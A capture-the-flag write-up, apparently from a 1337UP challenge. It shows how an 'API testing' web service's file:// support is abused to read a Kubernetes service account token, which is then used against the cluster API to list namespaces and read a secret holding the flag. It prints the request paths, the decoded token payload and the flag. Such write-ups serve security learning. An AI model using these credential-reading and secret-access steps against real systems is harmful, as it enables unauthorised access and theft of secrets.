The URL holds an "API testing" webservice, which can execute HTTP requests.According to the "About" page, the service is hosted using Kubernetes and uses *Kubernetes Secrets*.
We can quickly find, the service supports not only `https://` but also the `file://` scheme and will show us the content of local files (*local file inclusion*).
Accessing `file:///etc/mtab` we find the following mountpoint:
    tmpfs /run/secrets/kubernetes.io/serviceaccount tmpfs ro,relatime 0 0 Getting the content of `/run/secrets/kubernetes.io/serviceaccount/token` we get a JWT for the pod's serviceaccount whose payload is
```json{  "aud": [    "https://container.googleapis.com/v1/projects/intigriti-ctf/locations/europe-west1/clusters/ctf-challenge-cluster"  ],  "exp": 1678563987,  "iat": 1647027987,  "iss": "https://container.googleapis.com/v1/projects/intigriti-ctf/locations/europe-west1/clusters/ctf-challenge-cluster",  "kubernetes.io": {    "namespace": "default",    "pod": {      "name": "mailman-6cf46d68fb-68b4q",      "uid": "27017847-da2f-4b54-aa42-b405826f1b2c"    },    "serviceaccount": {      "name": "mailman",      "uid": "80dc4673-8097-47a6-b847-917a0cacfbbd"    },    "warnafter": 1647031594  },  "nbf": 1647027987,  "sub": "system:serviceaccount:default:mailman"}```
We should now try to access the Kubernetes API server.Add the token obtained above to the request as a bearer token (HTTP header `Autorization` with the value `Bearer xxx`) in the webinterface.The API server is always accessible within a pod at the domain name `kubernetes.default.svc` ([reference](https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/#directly-accessing-the-rest-api))
Accessing https://kubernetes.default.svc/api/v1/namespaces/default/ (while using the bearer token) works succesfully.Unfortunately we do not have the permissions to read the secrets from the namespace (https://kubernetes.default.svc/api/v1/namespaces/default/secrets or https://kubernetes.default.svc/api/v1/namespaces/default/secrets/flag)
Maybe the flag is in a different namespace?By accessing `https://kubernetes.default.svc/api/v1/namespaces` we find the list of namespaces available in the cluster:
    ["ctf","default","gatekeeper-system","kube-node-lease","kube-public","kube-system","nginx-ingress","secretstuff"] The last one called `secretstuff` sounds promising. We look at the list of secrets in that one at `https://kubernetes.default.svc/api/v1/namespaces/secretstuff/secrets` and we can find the base64 encoded flag there
    {"flag":"MTMzN1VQezAyODMzOTQyODNiODFmZjMwNzgwYzlmMWVmNTYyODQ1fQo="} which decodes to **1337UP{0283394283b81ff30780c9f1ef562845}**